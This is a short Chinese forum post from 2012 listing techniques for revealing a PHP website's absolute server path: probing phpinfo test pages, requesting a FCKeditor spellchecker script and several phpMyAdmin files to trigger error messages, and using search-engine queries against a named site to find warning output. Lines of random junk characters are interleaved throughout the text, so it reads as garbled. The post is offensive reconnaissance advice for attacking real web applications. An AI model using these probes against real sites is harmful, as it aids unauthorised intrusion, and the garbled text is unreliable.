1.测试test.php info.php php_info.php phpinfo.php
, b5 q& {6 ^% z1 [
+ u9 L( k+ G: W8 D2 }; |2.扫描看有没有fck编辑器，如果有就用fckeditor\editor\dialog\fck_spellerpages\spellerpages\server-scripts\spellchecker.php爆
, M" K5 d/ q& f) I
' R3 f. ~' G V" W2 h2 X3.看看有没有phpmyadmin或者phpMyAdmin利用phpMyAdmin/libraries/select_lang.lib.php. f. V! l( q2 p D) t; j
phpMyAdmin/darkblue_orange/layout.inc.php( N$ {9 s# E a, u9 z
phpMyAdmin/index.php?lang[]=1
9 X$ ~& r# x y) o$ W# V: X) p" ]phpmyadmin/themes/darkblue_orange/layout.inc.php
" K5 `6 s0 _+ F P4.利用搜索引擎爆绝对路径. S6 T( `) E) ~% f
site:www.huangse.com Warning3 }5 s) K- k+ P/ C, v6 b
site:www.huangse.com inurl:Warning" r) \% q3 g3 d1 w1 m
4 v* v( ?, p. \8 D+ ~0 Q等以后慢慢往上补吧,利用单引号的方法俺就不说了。。。
/ N6 _- O% T& w' _) b |
发表于 2012-9-15 13:49:11
收藏
支持
反对